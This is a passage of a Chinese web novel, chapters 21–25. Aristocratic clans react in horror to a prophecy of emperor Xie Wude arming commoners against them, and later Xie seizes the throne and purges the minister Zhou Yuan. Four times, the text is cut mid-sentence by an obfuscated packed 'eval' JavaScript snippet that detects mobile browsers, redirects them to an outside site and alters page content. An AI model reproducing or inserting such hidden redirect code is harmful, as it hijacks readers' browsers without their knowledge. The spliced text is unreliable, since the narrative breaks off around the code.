“甚至有些职务根本就没有必要设置,但是因为世家的运作,朝廷为这群人安排了一堆萝卜坑。” “这样有人大概会问:那皇帝不管这件事情吗?世家门阀,一听就是人民的蛀虫。” 王老爷子:“……” 他第一次被人这么骂。 甚至他疑心这是不是陈琦故意的,可是转念一想,陈琦也是世家子弟。 现在不是计较这个的时候。 王老爷子喝了一口茶水压制住自己的怒火。 小辈可以激动,他这个长辈得沉住气,镇住场子。 “有人会因此发出暴论:古人就是没有现代人聪明,这么简单的事情竟然还想不到?” “实际上他们掌握着技术,掌握着知识和人才。一开始他们只是很渺小的,仗着朝廷的疏忽和皇帝的愚蠢成长了起来。当朝廷意识到了他们的威胁的时候,他们已经掌握了和朝廷对峙的资本。” “他们原本资本也会为他们的积累更多的资本,学过数学的人都能够对这个数字有一点敏感。这样日复一日、年复一年,皇帝举目望去,却发现身边的所有人居然都是世家的爪牙。” “这听上去真的很恐怖,那么世家是在什么时候被终结的?” “那么这种情况是在什么时候结束了呢?当然是我们这一期的主角——荣武宗谢吾德。” “这个身为皇帝、世界上最大的公卿,对天下公然喊出一句话:‘内库烧为锦绣灰,天街踏尽公卿骨’。” “为百姓分发武器,煽动他们砍下世家的头颅,筑成京观。” “哐当——” 王老爷子手中的茶盏坠落,砰的一声落在了地上。 荣朝齐国公王化远听着荣朝皇帝谢吾德的发言,觉得自己的脑子彻底空了。 21.第 21 章 有人尖叫出声了。 王老爷子不知道是不是自己,王家其他人可能也不知道是不是自己。 不过无论是谁在尖叫,大家都没有注意的心情了。 如今坐在这里的人,至少都是曾经的公卿。 他们中其实不乏有人曾经对别人实行过破家灭门,除了像王钧这样纯粹的艺术爱好者没有深入参与过,其他人或多或少都清理过自己的政敌。 有人或许会同情,有人或许会兴奋,但是当事情落到自己的头上的时候,他们不得不为此战栗。 鞭子打在别人身上的时候会幻痛,但是打在自己身上就是真疼了。 这个世界上除了极少数人,很少会有人在听到自己全族被死刑的时候还能保持冷静。 王老爷子知道陈琦给他们看的这些东西绝对是因为他们世家碰到了天大的麻烦,也可能会出现陈家之后在之后的事件中发挥重要作用的部分。 但是他万万没想到,自己会听到这么刺激的一句话。 谢吾德说一句“内库烧为锦绣灰”纯属是因为他脑子有病,他都殴打了自己“亲爹”谢珖了,烧个内库完全符合他那让人摸不着头脑的人设。 而且皇帝要是烧自己的东西,他们也没什么办法,但是…… “天街踏尽公卿骨?” 谢吾德觉得这话很帅。 他很喜欢看高高在上的人跌落下来。 自称不是人类的谢吾德还是很有人类的劣根性的。 就比如幸灾乐祸。 想想各种本子的经典剧情:落魄的公主或者王子,又或者是高高在上的大小姐/大少爷露出崩溃的表情,然而没有办法反抗自己恐怖的未来。 要的就是这口,喜欢的就是这种一个人从高高在上到目光无神的反差,看看就兴奋起来了。 谢吾德没把自己代入到高高在上的角色,毕竟他觉得自己是神,谁家神明会被人拉下来? 然而谢吾德不代入这种高高在上的角色,王家人可是会深深代入的。 平时他们也是不会代入的,他们也从来不会觉得自己会被拉下来的,他们看着自己的敌人全家男人被流放,女人为奴为妓也很高兴。 可是现在他们是那个被折磨的角色。 这就让他们遍体生寒。 王旭感觉一阵阵寒意往外冒,他好像赤裸着身体站在自己从未见过的冬雪之中。 “他……他……他是怎么敢说出这种话的?”王老爷子仿佛结巴了一样,重复着说着,“他……怎么敢……他怎么敢……” 此刻他也不管什么也不管什么仪态风骨了,陈琦给他看的东西完全超出了他最狂野的想象。 在场除了陈琦之外所有人都可怜巴巴地看着王老爷子。 王老爷子捂着自己的胸口深呼吸,还是王旭最先反应过来,扶住自己的祖父轻声安抚:“祖父,一切都没有发生,都还来得及。” 王老爷子不想厥过去,但是这不是他能够决定的。 从之前的话来看,“天街踏尽公卿骨”不是文学带着夸张的形容,那是世家的末路。 ……他们要家破人亡了! 他们世家几百甚至近千年的传承就要这么终结了吗?等到他去了地下,又该怎么和祖先交代? 王老爷子从来没有想到这种发展。 从古至今,皇帝都是在努力消除民间的武装,生怕有人起义。 但是谢吾德把武器发给了普通人? 疯了吧? 他就不觉得自己这个皇位坐得不稳? 身怀利器,杀心自起,拿着武器的人总是想要做点什么的。 王老爷子的思想是十分顽固的,他并不相信那群平民百姓可以和他们这些世家大族相比,但是这并不妨碍他觉得那是一群成事不足败事有余的家伙。 那群人会败坏整个天下的! 那群刁民一旦破城往往就是□□烧,无恶不作。 他们就是一群失控的家伙。 谢吾德也是个失控的家伙。 疯子,都是疯子! “他们能懂什么?谢吾德说着要‘天街踏尽公卿骨’,那他希望谁在这朝堂之上谁来辅佐帝王?那群大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583481|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字都不识的泥腿子吗?他们能提出什么?让皇帝多给他们赐女人好生儿子吗?乱来……乱来!太祖要是泉下有知,非得带走这个不孝子。” 王老爷子已经快要气晕过去了,但是他的手依然坚定地拍打着边上的茶桌。 王旭心中想,恐怕这位陛下是真的半点都不在意所谓的孝道。 太祖要是真活过来,怕也会挨上几拳。 一般来说,即使是皇帝也要讲究效祖之风,但是谢吾德有可能干出揪着太祖的衣领左右开弓问他“谁是祖宗”这个问题。 反正不能把谢吾德当成正常人。 王老爷子气得已经快说不出几句成形的话了。 陈琦不说话,因为陈家的人第一次看到这一幕的时候也是如此地震惊。 谢吾德在干一件从来都没有人敢干的事情。 最后王老爷子千思万绪汇成一句话:“他怎么有胆子敢这么做的?” 他在恍惚中,甚至说出了这样一句话。 明明谢吾德是皇帝,明明理论上他们才是臣子,但是臣子依然说出了这种话。 甚至在王老爷子说完这句话之后,他自己都恍惚了一下才意识到了自己说的什么。 这话实际上也冲击了他们自己的想法——原来他们世家真的是这么想的。 这可实在是大不敬。 他们嘴巴上念叨着“忠君”,但是在这种情况下,还是忍不住把自己内心最真实、最卑劣、最不可与人言的想法给吐露了出来。 他们心心念念惦记着的依然是自己的权利,是家族的荣华富贵。 皇帝对于他们来说大概真的不重要,所谓忠诚于皇帝,也只不过是自己与皇帝这个最大的世家所妥协统一出来的口风。 他们之前也知道自己没那么忠君,但是他们真没想到自己当真是半点忠君之心都没有。 在这房间里的所有人,沉默了。 这群没有忠君之心,甚至改朝换代也可以当墙头草随风摇摆的人此刻只感觉十分难捱。 二五仔对纯暴君,这怎么不算是一种福报呢? 22.第 22 章 所有人都陷入了久久的沉默,而沉默是应该的。 没有人会在面对这种事情的时候还能够保证自己的心态不崩。 他们也在慢慢地消化这件事情。 世家在朝堂中也许根基深厚,但是能够站在这里的,也都算是他们中的佼佼者,没有一个人是傻子。 至少现在事情还没有发生,他们必须得一起想办法应对,不然这真就是世家的末路了。 视频中所预言的未来还没有发生,未必没有改变的可能。 正因为有可能改变,所以才会出现这种预言吧? “你们陈氏是从哪里得到这个东西的?”王老爷子看着陈琦问道,“而且这个东西是只有你能控制,还是你们陈氏所有的人都可以控制?还是可以交给其他人去操作?” 王老爷子问得很仔细,也由不得他不仔细——这种生死攸关的事情永远得谨慎小心。 陈琦回答道:“我们陈氏的所有人都能控制这个东西,而且不一定要在布帛上,在任何载体上都是可以的,只不过有一张布帛会更方便。” “载体啊……”王旭在一旁开口。 陈琦看向了王旭,王旭刚才的口气意味深长,显然是有什么想法了:“王侍郎有何高见?” “谈不上高见,”王旭说道,“只是我忽然想到的一件事。” 陈琦表现出了洗耳恭听的姿态。 王旭是他的老对头,王旭不喜欢陈琦,陈琦也不喜欢王旭,可是陈琦也不愿意把王旭看扁。 他们缠缠绵绵互相竞争了那么多年,如果说王旭徒有其表的话,那岂不是说明他陈琦也不是什么厉害角色? 他们之间矛盾重重,但事有缓急轻重。 王旭说道:“你们有试过在天空上放这个东西吗?” 陈琦意外了——这可真是相当大胆的提议。 人们可以触碰大地,但是无法操控天空。 虽然陈琦拿出的东西已经足够证明他的“天命”所在,但是如果能够放在天空上的话,那更是进一步的震撼。 还没等陈琦说话,他又听到王钧在一旁开口。 他问道:“陈中书,这其中的内容是否可以进行一些删减呢?” 这个问题陈琦倒是可以回答:“自然是可以的。” 他们给王氏看的东西本身就是删减的。 让王氏知道大致发生了什么就行。 “那么这个事情可否由我来做呢?”王钧没有做过剪辑的事情,但是他有艺术鉴赏能力。 他虽然玩不来太过肮脏的东西,在这件事上他是王家人,他的立场自然也是坚定站在琅琊王氏一侧的。 这件事情绝非小可,他们琅琊王氏也必须在这件事情中争取到更多的东西。 “原片”中绝对有更多的信息。 而且参与的越多,掌握的信息就越多。 陈琦听到王钧的话,他稍微有点迟疑。 王老爷子适时地开口:“陈家总不能是打算自己一个人完成所有的事情吧?” 陈琦觉得这些事情其实是计划的核心,他还真不放心交给琅琊王氏——这有点像是在把自己的权力分出去。 然而还没等陈琦想好怎么拒绝,他就听到王老爷子说:“如果你现在拒绝的话,感觉就和那位荣武宗一样,不懂得知人善任。” 陈琦被王老爷子这一句话给恶心到了。 对已经知道未来的世家来说,像谢吾德简直是这个世界上最恶毒的诅咒。 什么玩意啊就说我们像他。 骂得也太脏了。 “这件事情我得回家询问一下祖父。”陈琦没有立刻答应,但是也没有立刻拒绝。 . 王旭和陈琦一起离开了,他打算去代表王氏拜访一下陈氏。 “王旭。” 王旭看向王老爷子:“祖父……” “你之前是不是抓到了一个人?”王老爷子看着绢帛原本的位置。 因为在视频的最后出现了一个短发的人,对着屏幕侃侃而谈。 王老爷子就想到了他们抓到的那个僧人,他们的气质十分相似。 王旭没见到那个被抓住的人,但是王老爷子见到了。 那个人给王老爷子一种特别的感觉。 他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586632|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是世家,因为他看上去既不矜贵也不精致;他看上去也不像普通百姓,因为他在挣扎之间的动作透露出他对权贵没有多少畏惧。 这很符合陈琦给他们看的东西中关于世家消失后这个世界普通人对世家的态度。 甚至这个人的态度之间还给他一种比关于“荣武宗”相关的事情还要离谱的感觉。 “那个僧人有没有可能是来自未来的?”王家除了王旭之外也有人负责这件事情,那人也想到了这种可能。 僧人,哼,好借口。 未来的信息都能出现在现在,那未来的人不是同样有可能会出现吗? 古人只是古,但是并不是傻。 他们不懂穿越,但是还是有脑子的,他们可以推测出事情大致的方向。 “你去问问那个人,不要和他说陈琦的事情,就问问他是不是知道未来的事情,和陈氏的话,对照一下。”王老爷子看着王旭,“这件事情交给你了。” 他们临川陈氏有自己的信息渠道,但是他妈呢琅琊王氏额可以有啊。 王老爷子几乎已经从最开始的愤懑中脱离。 他的脑子渐渐地又开始变得灵活了起来。 他年纪大了,但是脑子还算年轻。 陈家大概也不清楚他们抓到了一个可能和未来相关的人,甚至提都没提那个人,也就是说他们看到的未来也未必完全可靠,未来应该在之前就发生了改变。 天命也未必在临川陈氏,只是他们得到的好处最明显罢了。 “是,祖父。”王旭领命。 王老爷子看向其他人:“顺便去查查,我们这位陛下他发的武器是从哪里来的。” “总不会是凭空掉出来的。” 他们先知先觉了这么多,总不能还会输给谢吾德吧? 谢吾德给人发的东西肯定是有自己的源头的,只要找到那个源头就能够杜绝掉谢吾德这发癫的操作。 就算太祖活过来他也得感谢他。 这样他也不枉对太祖给琅琊王氏封的齐国公了。 他们王氏,果然还是对得起太祖的,是忠君爱国的世家楷模的。 23.第 23 章 这一天看似发生了很多事情,但是实际上也只不过是一天。 在天色微微亮的时候,城内来了一队的人。这一队人不是来自别的地方,正是来自如今边关——萧荣二国交战的地方。 其中有一位属于越王府的翊善,剩余的基本都来自邱家军。 此次前来也不是为了别的,正是为了禀告皇帝越王谢吾德消失的事情。 谢吾德算是被放逐出了锦京,有关他的一切都是被重点关注的。 虽然实际是谢吾德想要出去玩,顺便放松皇帝的警惕心,顺便给他们来个大的。 现在越王失踪,无论从邱将军到越王府的人,都是一头的冷汗,有一种自己看押的魔头被跑出去为祸人间的恐怖感。 谢吾德不是那种会对普通人出手的性格,也不是他尊重生命,反而是完全瞧不起人。 百姓无事,那糟糕的是谁? 一路上越是没有谢吾德的消息,他们就越是紧张。 谢吾德绝对不是静悄悄的性格,他这么安静绝对就是要出大事了。 在他们靠近锦京的时候,听到了变天的消息——大皇子和二皇子搞出了一件大事。 他们听到这事的时候就感觉更加汗流浃背了,这可真是要了命的敏感时间。 结合他们此行的目的,这件事情可能也和越王的失踪相关。 这可要了命了…… 如果不是邱将军派来的人是他的亲侄子,他现在都想要干脆一跑了之。 万一真的出了什么状况,说不定他全家都要因此被牵连进去。 然而在他们到达锦京的时候,一切都尘埃落定了。 不过城中的气氛和他们想象的不一样,不再是紧绷着的,在这个局势还不稳定的情况下,几乎所有人都开始收拾起残局了。 这不常见,如果不够稳定的话很少有人会开始收尾,谁也不希望白干。 在他们进城的时候,锦京的守卫检查了他们的身份,忍不住惊讶道:“你是越王府的人?” 越王府的翊善心中一紧。 他是皇帝派去监视越王谢吾德的,如果有人想要借越王谢吾德发难的话,他这个翊善是绝对跑不了的。 所有人都知道他这个翊善管不了谢吾德,毕竟就连皇帝这个亲爹都管不了谢吾德。 没人处理得了皇帝,还处理不了他这个小小的翊善呢? 这要是一个好职位,绝对轮不到他去做,他也没有多少家世背景。 守卫看着翊善稍微有点紧张的表情,大概就知道这个人什么都不知道。 “进去吧。”城门的士卒还是很客气的,毕竟和他们一起来的是邱将军的人。 谁都知道邱将军为人正直,值得敬佩。 他们这些守城的士卒大多身份低微,也没有什么荣誉感,更不会对那些老爷发自内心地产生尊重。 只是邱将军是一个不走寻常路的人。 他不是出生自世家大族,是在战场上一点点拼杀出来的。 邱家军的军纪也十分严明,邱将军本人也爱兵如子,这样的人是让人真心敬佩的。 不是说的好听,他是真的做的很好。 翊善给这个士卒塞了一点碎银,让他多说一点,不然他这个心总是放不下。 他们现在已经没办法回头了,但是总不能让他们这么提心吊胆着吧。 士卒想了想,还是收下了这些碎银,然后他看向翊善:“陛下之前没有和你说吗?” 如果不是看在邱家军的面子上,他是不打算收这个银子的。 陛下做这样的大事都没有通知他这个理论上和他最亲近的人之一,也不知道这个翊善是不是得罪过他。 士卒可不想惹麻烦。 “说什么?”翊善一脸迷茫。 他回忆着自己在离开锦京的时候皇帝对他说的话。 他希望越王永远不要回来,最好是能够死在与萧人交战的战场上,甚至暗示如果有机会的话可以给他下毒、 翊善是没有这样的勇气的,而且他的性格也不太能够让他做出这种事情来,但是皇帝有这样的吩咐,他也不敢直接违抗,只是含混地答应下来了。 反正他做不到。 谢吾德在皇宫中的时候都没有人能成功对他动手,那为什么要指望他就能做到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593612|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到士卒的话,翊善的心中咯噔一声,心想:难道皇帝还说了一句,如果他没能杀死谢吾德的话,那就永远不要回来吗? 还没等翊善胡思乱想完,他就听到那个士卒说到:“越王现在当了皇帝了。” 翊善沉默,和他一起来的邱将军的侄子邱腾也沉默了。 双方面面相觑,感觉自己都没有睡醒,不然怎么会听到这么滑稽的话。 不是,哥们你说什么?越王当上了皇帝?他是怎么当上的皇帝? 他们星夜驰骋,好不容易赶来,以谢吾德那慢慢悠悠溜达的性格,怎么会这么快就赶到锦京,还完成了一次篡位? 他那个爪子怎么那么快? 翊善很崩溃。 “篡位”。 没错,他脑子里想到的就是篡位。 谢吾德这个人,怎么可能不是篡位上位的? 哪怕他有的时候觉得皇帝——或者说现在应该被称为太上皇,做的很多决定也让他怀疑对方的精神状态,但是那好歹也是个人。 但凡是个人,怎么会出现把皇位传给谢吾德这样的不切实际的想法呢? 那是谢吾德。 太上皇做事好歹还会披上一层合理的皮,但是谢吾德做事,那可真就是冲着把一切规矩撕烂去的。 他不需要合理性,也不需要皇帝与朝臣之间的默契,他想要做什么就做什么。 怎么会有人自愿把皇位给谢吾德呢? 但凡有一点点微不足道的责任心,那就不会做出这种事情。 就连邱家军的人,心里其实也是这么想的。 谢吾德在战场上斩杀萧人无数。 听起来也许有点像是在造谣,但是谢吾德每次出手不是地动就是山摇,而且谢吾德还非常喜欢把场面搞得无比血腥。 邱将军一直都对谢吾德的作风感到头疼。 他们这些当兵的在战场上就是为了斩杀敌人建功立业,但是谢吾德这直接把所有士卒的上升渠道都给抹了。 管他多少人,反正来一个杀一个,别人别想从他手上抢到半点人头。 这搞得士卒们最近都快抑郁了。 24.第 24 章 他们很多人最开始并不是自愿上战场的,一开始谢吾德把仗都帮他们打完了他们还有点高兴,但是循环几次,他们就高兴不起来了。 他们隐隐有一种失业的危机感。 没人喜欢拼命,但是被刀剑杀死是死,被饿死也是死。 前者是死一下,后者是死一阵。 除了那些减肥减出心理问题的人,大概没人喜欢活活饿死的感觉。 而且有的人是真的想要在沙场上拼个封妻荫子的。 这种风格在荣朝并不怎么受欢迎。 这样的大杀神怎么会得到向来采取绥靖策略的朝廷的青睐呢? 肯定是谢吾德撸起袖子亲自抢的。 如果这件事情让邱家军的士兵知道,他们倒会觉得十分合理。 毕竟他们可是亲眼看到谢吾德的力量,见识过他的强悍。 人都是慕强的,而谢吾德的强大直接征服了他们。 如果不是邱将军平时的名声好,如果不是几乎所有人都是整个队伍都是被他带出来的,如果不是邱将军比谢吾德正常太多,那恐怕谢吾德振臂一呼,就能把整个邱家军挖到手中。 如果太上皇强行命令他们邱家军的人对抗谢吾德,那这些邱家军可能还真会强烈拒绝。 他们是打萧人的,而不是打自己人的,而且让他们去打谢吾德,是真的不怕脚下的大地忽然裂开把他们吞进去吗? 怀抱着牺牲的心态扑上去,结果连对方的皮都破不了的感觉没有人想去体验。 邱将军的侄子邱潇看向翊善问道:“先生,我们是否应该去拜见陛下?” 虽然他们本来是想向如今的太上皇“告状”的,但是既然谢吾德已经登基了,那他们好像也一开始来的理由了。 他们自然是要去拜见一下谢吾德的。 翊善感觉头疼,但是他抬手拦住了邱潇。他说道:“别去了,现在这个点他虽然还没睡,但是绝对已经不想见人了,等着晚上再去拜见吧。” 邱潇默然无语,他都是鸡叫就起床,勤学苦练,练得肌肉紧绷 翊善也很无奈。 虽然他和谢吾德没有培养出多少感情,但是他了解了谢吾德的生活作息:这就是个喜欢白天睡大觉、晚上睡到下午才醒的奇葩货色。 邱潇点了点头。 他们走了几步,就看到有一群人喜气洋洋地走过,甚至有人在发糖,还有人在那里敲锣打鼓。 翊善看到这个更加困惑了。 这是在庆祝谢吾德登基吗?谢吾德有那么得民心吗? 锦京的人又不是瞎子聋子,怎么会不知道谢吾德做过的事情? 谢吾德在锦京也算是有点名气了。 荣朝虽然别的不行,但是文化昌盛。 虽然现在是法家势大,毕竟这是老传统,但是其他诸子百家也不弱。 法家的愚民政策在造纸术的发明之后就受到了一波冲击,但是在世家逐渐成长起来之后,世家又重新开始鼓吹法家的愚民政策了。 荣朝最开始的皇帝还是打算打击世家的,在发现他们经济搞得不错之后就开始开放各类书籍的出版,这也让诸子百家迎来了第二次繁荣。 为了争论他们自家的学术才能够拯救荣朝,为了击败今日的法家,他们联合、他们分裂。 在这样的背景下,文化人太多,他们卷得飞起,为了吸引人的目光,他们一般会拿出大小事和人八卦,然后趁机输出自己的观点。 最吸引人的八卦大概就是谢吾德传说中对皇帝、对他的父亲动过手。 大家听到这种事情大多会皱眉,但是架不住大家都爱听。 谢吾德虽然不怎么被支持,但是在某种程度上来说也算是文化界的顶流人物了。 大家在找乐子的时候很愿意提起他,甚至有人一听到今天讲的是谢吾德,他们就立刻坐下来了。 但是要说让他当皇帝…… 不反对就算是很尊重谢吾德的武力值了,更别说敲锣打鼓了。 翊善四处看了看,看到了一个老人在一旁摸着自己的胡子,看着那些敲锣打鼓的人,眼睛中似乎有一些惆怅。 他问道:“老先生,这是怎么回事?” “你们今天刚到锦京吧?” “是的。” 谢吾德似乎是昨天才宣布自己当皇帝,这才一天,怎么感觉好像过年了一样。 哎,也算是谢吾德的人设不崩了。 老先生开口说道,“周元被抄家了啊。” 翊善震惊,而站在他旁边的邱潇听到这件事情,突然喊了一句:“好!” 对于邱家军来说,周元大缺大德值得被所有人谢他十八代祖宗的家伙。 他们邱家军在前线拼命,而周元在后方给他们拖后腿。 要么是克扣军粮,要么是进谗言,要么就是往他们军队里头派人监视他们。 派人就派人吧,邱将军也都能够理解,他们也想要给朝廷一点安全感,不然以邱腾的战斗力,那还真的能让皇帝睡不着。 可是周元实在是太过分了,他派来的人纯纯找茬,干啥啥不行,他们甚至要怀疑周元是不是萧国派来的奸细专门给他们添堵的。 听到这样的周元死掉了,邱潇满脸的欢喜,感觉心中的一口恶气出去了。 之前好像也是因为谢吾德这么高兴,因为周元派来的人因为在街上试图强抢民女,路过的谢吾德被恶心到了,把他三条腿全切了。 真爽啊。 邱潇其实还有点羡慕谢吾德。 他太自由太随心所欲了,没有什么能拦得住他。 他做的事情基本上都是邱潇以前只敢在自己脑子里幻想的事,说出来甚至会被叔父教训一顿——叔父没有幽默细胞。 但是谢吾德做的事情是真的让邱潇这个年轻人激动起来了。 就是这个爽。 . 周元被抄家也是谢吾德超爽时刻。 这世界上怎么会有这么爽的事呢? 真不怪谢吾德是锦京流量扛把子,他在做所有人想做又不敢做的事情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599295|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 很多人做事都会考虑后果,考虑利益纠葛,考虑这个考虑那个,最后所有郁气都积在了胸中。 但是谢吾德就跟个有着超强行动力和超强力量的孩子一样,上来就是乱拳打死老师傅。 ……真是羡慕这种自由啊。 邱潇想。 他甚至想立刻骑上马返程给自己的叔父报喜,但是最后想到此行的目的,大概是摁捺住了。 没有把所有事情都搞明白就回去肯定要被叔父骂的。 唉……邱潇在狂喜过后,居然有一种不能向人痛痛快快倾诉的寂寞感。 越王府的翊善也是个严肃正经到无趣的人,谢吾德半点都不带他玩。 “是如今的陛下做的吗?”邱潇有点高兴地说道。 这个问题其实根本不用问,但是他高兴,就是没话找话。 他之前也是不太希望谢吾德上位的。 别的不说,他受邱腾的影响,多少也算是个忠君爱国的人。 他瞧不上太上皇那种偏听偏信、偏安犹疑、畏敌如鼠的性格,看不清谁才是忠、谁才是奸,但是那毕竟是皇帝。 邱腾也是因为皇帝才受封大将军的,皇帝也算是给予了他们一些不同寻常的恩典,他们必须得承情。 相比起太上皇,邱潇其实觉得谢吾德根本就不会忌惮自己的叔父,也不会忌惮这个世界上任何一个人——他实在是太有底气了。 谢吾德的性格虽然很自由,但是邱潇和谢吾德也见过几面,他只是不喜欢规矩、不喜欢规训、不喜欢麻烦,但是对于性格纯粹一点、性格纯粹的人,还是会给予一定的尊重的。 “是的,就是陛下。”这位老先生其实也是一个有点迂腐的人,他本来也是不支持谢吾德的——这个念头甚至从来都没在他的脑海里出现,但是他的儿子又曾经因为得罪周元,被流放到了琼州,死在了那里。 可以说周元坏,但是绝对不能说出周元才菜。 在玩弄律法方面,周元绝对是一把好手。 周家不算是什么大世家,他出身比起陈、王来说已经很低了,他他最开始就是去给人当讼棍,世家在他的帮助下无往不利。 天下早有人想要将他生吞活剥了。 现在还有童谣“周丞相,登云津;巧舌如簧世家喜。百姓血泪卖几贯?今朝荣宠何时完。” 周元身在朝廷中枢就证明不管他把多少百姓反告得倾家荡产,这事对他没有多少影响,甚至在他成为丞相之后有更多人的血泪干涸在了这片大地上。 普通人磨牙吮血想要周元死,但是周元依旧活到了现在。 周元拿出的一切证据都很完善,而且他的声音很大,所以老先生即使有再多反驳的证据也没有办法替自己的儿子翻案。 他对周元的恨一直隐藏在心中,之前甚至都不敢直接说出来,现在周元死了,即使他之前因为不喜欢谢吾德的作风,也不由得对谢吾德生出了几分感激。 能够为百姓申冤的,哪怕人再疯,也可以被称之为青天大老爷……吧? 25.第 25 章 “周元是因为什么事情被陛下处理了?”邱潇问道。 “这个……”老先生停顿了一下,好像在吊别人的胃口一样。 邱潇的确被吊起了胃口。 “据说是周元向陛下进贡了一株南海的红珊瑚,但是陛下看到这株红珊瑚,说道:‘居然只有这种货色来投靠我’他觉得晦气,就下令抓了周元。” 这的确是谢吾德能够干出来的事。 邱潇本来以为谢吾德会喜欢收狗。 周元在谢吾德看来恐怕就是一条狗。 当年在边境的时候,谢吾德曾经俘虏过一个小国的将军。其实邱潇不确定那能不能称之为“俘虏”,因为俘虏一般是战争获胜后抓住的,不如说是一口气干掉了那支队伍中的所有人,仅仅留下了那个将军一个人。 他们没有直接抓人,但是萧国的将军直接傻了,如果说在别人后背推搡一把就抓人的话,那这抓人就降格成如同老鹰捉小鸡一般的东西。 那将军的意志已经完全被谢吾德摧毁了,在谢吾德提出只要给他当狗就让他活命之后,那位将军就跪了下来,这个人至今还活在邱家军之中,他吃的饭都是谢吾德提供的,不吃邱家军的饭。 邱家军的人一开始对谢吾德的做法十分不满,他们与萧人积怨已深,恨不得把他们生吞活剥了去,但是在看到那个人浑浑噩噩已经疯掉的样子,他们反而有点同情了。 不是说他们原谅了萧人,就是感觉这个人活着受到的折磨一点都不少,他们在舒坦过后已经不需要通过这种折磨人的方式纾解情绪了,而且最近他们闲得蛋疼有空去同情人了。 只可惜谢吾德玩了一下就忘了这个人了。 因为了解谢吾德的作风,所以邱潇才觉得有点奇怪。 周元这个人绝对不会为太上皇复仇的,他见风使舵的速度是满级。 只要皇帝,不,太上皇一失势,他会毫不犹豫地就开始跪舔谢吾德。 按理说,只要周元愿意给谢吾德当狗,那谢吾德是很愿意养的。 但是转念一想,又觉得这也确实是谢吾德的风格。 谢吾德是一个非常讲究逼格的人,不过他是猫党,怕狗喜欢猫,不过他得承认,养德牧很帅,但是养泰迪…… 也不是说泰迪有什么不好,但是德牧它数值高,而且泰迪会抱腿狂蹭,在谢吾德这里的评价甚至低于比格。 谢吾德在这件事情上有自己的理解。 周元的表态其实已经很明显了。 如果谢吾德愿意留下他的话,那他可以帮谢吾德四处搜刮,他可以给谢吾德做白手套,替他搜刮资源。 但是周元是真的不够了解谢吾德。 金银珠宝这种东西随手就能造出来,单纯的物质对谢吾德没有半点诱惑力。 那就是物质。 放眼全宇宙,物质实在是太多了。 谢吾德身体结实,体重不算轻,但是他就算体重一吨,对于整个宇宙的质量来说也只是沧海一粟。 谢吾德偶尔抠门是因为他基本只珍惜可以在人与人之间凝聚了的部分,对于这部分外的完全看不上眼。 他们搜刮的奇珍异宝谢吾德可以给他们搞批发。 如果是好吃的物质,谢吾德还会心动一瞬。 但是也只有一瞬了,因为他吃不完,而且古代的美食很难比得过现代的各种直击本能的科技与狠活。 谢吾德没吃太上皇的一口饭不是什么骨气问题,就是单纯看不上眼。 多余的热量可以直接转化为法术,不用担心长肉,但是嘴巴一直都不停他也会累的。 在太上皇那里,周元可以替人搜刮财富实在是非常有诱惑力,但是在谢吾德这里就半点用处都没有。 就算今天谢吾德不处理周元,那么明天、后天,早晚有一天他会对周元动手的。 谢吾德是一个以他自我的标准善恶分明的人,哪怕只有一点惹得他不高兴,他就会试图杀了对方。 锦京的人不知道朝中的大人物为什么不对周元下手,这不就是因为周元的事情大多和他们利益相关。 大皇子、二皇子的孝顺可能是装出来的,但是现在的皇帝谢吾德愿意把周元家抄了,那他就能得人心。 先别管谢吾德啊疯不疯了,他再疯也把周元给杀了。 复杂的事情他们可能搞不懂,但是他们还能看不懂结果吗? 这就是他们最朴实的价值观,没有什么复杂的论述,是以结果论的。 如果大皇子、二皇子或者三皇子上位,也是不会把周元给杀了。 周元实在是太好用了,有时候他在律令上的天赋反而是其次,这个人很擅长搞钱、拍马屁。 如果没有谢吾德的那种疯劲的话,是很难有皇帝舍得把他给杀了。 这天下虽然是皇帝的,但是如果天下繁荣,皇帝却拿不到多少钱,那皇帝不就白干了?如果天下纷乱,皇帝就更要搞钱了,不然怎么能确定手下的人的忠诚。 